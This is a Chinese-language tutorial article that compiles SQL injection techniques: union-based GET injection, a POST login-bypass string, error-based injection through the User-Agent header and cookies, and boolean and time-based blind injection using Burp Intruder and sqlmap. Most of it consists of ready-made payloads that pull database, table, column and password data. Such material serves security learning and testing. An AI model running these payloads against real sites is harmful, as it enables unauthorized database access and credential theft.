首页 > 技术文章 > SQL注入知识点整理——干货

domb2235 2021-11-16 09:16 原文

0这次我们来整理一下一些常见的SQL注入方法(按传参方式分)

 

一、GET注入(俗称显错注入)

一般就是能看到URL栏里面有  ?id=1  的字样就可以尝试一下是否有注入点

1、id=1 and 1=1页面正常,id=1 and 1=2页面报错 ==>> 页面存在注入点

2、id=1 order by 1-99去测试字段数为多少

3、id=1 and 1=2 union select 1,2,3; ==>> 判断回显点

4、id=1 and 1=2 union select 1,2,database(); ==>> 查询库名

5、id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1; ==>> 查询表名

6、id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='tablename' limit 0,1 ==>> 查询字段名(1,1),(2,1)……

7、id=1 and 1=2 union select 1,2,password from tablename limit 0,1 ==>> 查询表内信息

 

 

 

 

 

二、POST注入

 

和GET注入原理是一样的,但是POST注入不在URL栏里传参,而是用表单传参也就是各种“框框”

 

 

 

1先使用万能密码a' or 1=1 -- asd

一般数据库查询语句是这样的,会有一个单引号限制输入范围(如上),所以需要自己加一个单引号闭合前面的单引号,然后就可以在中间输入自己想要查询的语句,后面的单引号把他注释掉(如下)

这个是逻辑判断的结果,没看懂可以参考这个例子(students表里就这么三条数据):先判断and前后都为假,and的结果为假,假 or 真,最后结果为真

2、如果发现页面无异常,并且能够成功登陆,就可以接着查询数据库里的数据了

3、a' or 1=1 order by 1 -- asd

4、a' union select 1,2,database() -- asd

5、接下来就和上面的GET注入步骤一样了,在“database()”的位置替换为其他sql语句就行了

 

 

 

三、HEAD注入

什么是HEAD注入,那肯定就是排除上面两种了,即不使用URL传参,通过“框框”也没办法操作数据库,这个时候就可以尝试HEAD注入,举个例子:

这个橙色的被选中的部分就是一个登录界面递交给服务器的包里的head,里面有很多信息,也就是说有很多可注入点,这个时候我们可以查看源代码来找找突破口

--这个是某登录界面的核心代码

--这里可以看到,为什么不能POST注入呢?因为第六排,用正则匹配过滤了单引号(‘’),所以不能闭合,万能密码失效

--然后可以看到后面还有调用数据库的语句(倒数第三排),想要调用数据库变量$row就得有值,换句话说就是需要用正确的用户名和密码登录,这个爆破就可以了,其次插入数据库的数据中变量$uagent是我们可控的,于是就可以把页面的user-agent改变成sql语句进行注入

--但是这里是一条插入语句,没有回显我们不能得到我们想要的信息所以这里就需要用到两个函数concat()和updatexml()

 

然后就想办法改变网页的user-agent,结合报错注入就可以得到数据库中想要的数据了有两个方法来改变user-agent

--第一种就是使用谷歌浏览器的插件ModHeader

将网页的user-agent改成 1' and updatexml(1,concat('~',database()),1),'1') -- asd   然后就可以通过数据库的报错得到库名

接下来再将库名换成子查询就可以显示目标库中的表、字段、数据

 

 

 

--第二种就是使用Brup Suite抓包直接修改参数

放过之后就是这个样子了

 

 

 

四、cookie注入

首先设置cookie不止一种方法,我就在这儿罗列一下:

 

1、在浏览器的中设置。按F12,找到Application板块,然后就可以设置键--值

 

 

2、用插件设置(EditThisCookie)

张这个样子的,想要设置cookie就点上面的加号,添加新cookie

编辑界面是这个样子,按步骤设置cookie名称和值,不要忘了设置完后点√ 确认

 

 

3、Brup Suite抓包设置cookie

 

4、在浏览器中用JS设置要用到的语句是 document.cookie="id="+escape("105")

 

 

这个是id=170的页面

 

 

同样是按F12点击进入Console界面,输入JS语句,然后删除URL栏中的GET传参,排除其他影响,然后刷新页面

 

 

然后就通过cookie传参从数据库中调出了id=171的界面

接下来我们主要用的cookie的修改方式就是用JS语句,因为其他方式修改cookie时都需要进行一次URL编码,而JS语句中的函数escape()就可以转换编码,可以直接写需要注入的语句,比较方便

【注】:当我们发现修改cookie可以传参修改页面,这个时候不一定就存在cookie注入,还需要进行下一步的确认

 

 

当加入 and 1=2 时,页面报错了,那就说明此处存在cookie注入

 

 

 

 

然后就用联合查询(显错注入)的那一套连招,先判断字段数,得到结果为10

 

 

 

 

然后判断回显点:2,3,7,8,9

这里有一些小知识点

1、看到url栏里是.asp结尾的,一般后台就是Access数据库

2、Access数据库没有库,只有表和字段

3、Access数据库的查询语句后面必须接上 from tablename(这里的表名是怎么知道的呢?可以猜,也可以抓包到Brup Suite里面爆破)

4、为什么这里不用简单的1,2,3,4,5,6,7,8,9,10来判断回显点,而是在后面还加上了24769?

答:因为可能存在隐藏回显点,在网站的页面上不会显示出来,需要查看网页的源代码。在网页的源代码里按Ctrl+F找回显点时,如果是普通的1-10,会有很多不是回显点的数字干扰,而在后面加上特征数字24769后,一眼便知

 

 

 

然后剩下的就是根据个人经验猜表里面的字段名,然后再回显点处输出记录。admin表里通常都会有id、username、password等字段

如果不想猜,或者猜不出来,那就可以用sqlmap直接跑。其实sqlmap也是猜,只不过它里面有字典,里面收录了常见的字段名,它也是一个一个去试。还有一种方法就是不需要知道表里的字段名就可以输出数据那就是偏移注入(要求页面字段数大于admin表的字段数)

 

 

 

 

 

 

 

 

 

 

 

 

说完这三种注入方式之后,再介绍一种通杀所有SQL注入的方式——盲注

--布尔盲注:页面会有回显,但是不回显示具体内容,也就是只能判断页面是否显示正常

--时间盲注:任何的传参,页面显示都是相同的

一、布尔盲注

--length() 返回字符串长度 ==>> length(database())=1 根据页面是否正常显示来判断数据库名的长度是否为1

--substr() 截取字符串 ==>> substr('123456789',2,3) 从123456789的第二个位置开始去三个数结果为234      【注】substr('123456789',-5,3)的结果为567,-5代表倒着数的第5位开始取

--ascii() 返回字符的ascii码 [将字符变为数字]  ==>> ascii(substr(database(),1,1))=97 根据页面是否正常显示来判断数据库名的第一位是否为‘a’。这个时候有人就会觉得这么繁琐无聊的事儿是人做的么?那肯定不是啊,这种反复的事情就适合交给计算机来做。这个时候就要再次邀请Brup Suite隆重登场!!!

 

 

注:区别mysql中的substr(str,start,length)和Javasacript中的substr(start,length)、substring(start,stop)

"123456789"

substr('123456789',2,5)==>>23456

substr(2,5)==>>34567

substring(2,5)==>>345

 

 

人狠话不多,先抓包,写上需要计算机代劳的语句,然后sent to intruder

 

 

然后在intruder模块中攻击模式选择集束炸弹模式,将需要比对的位置添加上变量符号

 

 

 

 

第一步 payloads设置界面

第二步 先是第一个变量的设置,类型选择number数字类型,

第三步 因为我们已经知道库名由12个字符组成,所以变化范围是从1到12,步幅为1---每次增量为1

 

 

 

 

 

接下来是第二个变量的设置

第二步为什么是从32到127呢?因为ASCII码前31位是特殊字符,想要作为数据库名基本都是非法的

两个变量都设置好了之后就可以点击右上角的start attack开始攻击了

 

 

 

这里我跑得太慢了就用的别人跑出来的结果

选出length长度最长的12次结果即为数据库名12个字符对应的ascii码,具体选最长还是最短的结果,可以预览显示结果页面(图二)

 

想查询表名和字段名就利用子查询,将database()替换掉

 

 

二、时间盲注(延时盲注)

特点:在传参处传入使页面正常显示和异常显示的语句,发现页面显示是相同的,初步判定可能存在时间盲注

--sleep(n) 将程序挂起n秒 ==>>  id=1" and sleep(5) -- asd 观察页面是否没有立即显示,而是经过了短暂挂起状态(转圈圈加载中)

--if(expr1,expr2,expr3) 判断语句,如果第一个语句为真,那么就执行第二个语句;若第一个语句为假,就执行第三个语句 

==>> id=1" and if(ascii(substr(database(),1,1))=97,sleep(5),1) -- asd 若数据库名第一个字符为 a 那么网页就挂起5秒,否则正常显示

前提条件:保证代码的正确,若代码错误,页面也可能不会延迟

时间盲注,比较麻烦,步骤繁琐,可以用sqlmap直接跑,没有必要手注,毕竟盲注是sqlmap亲儿子

推荐阅读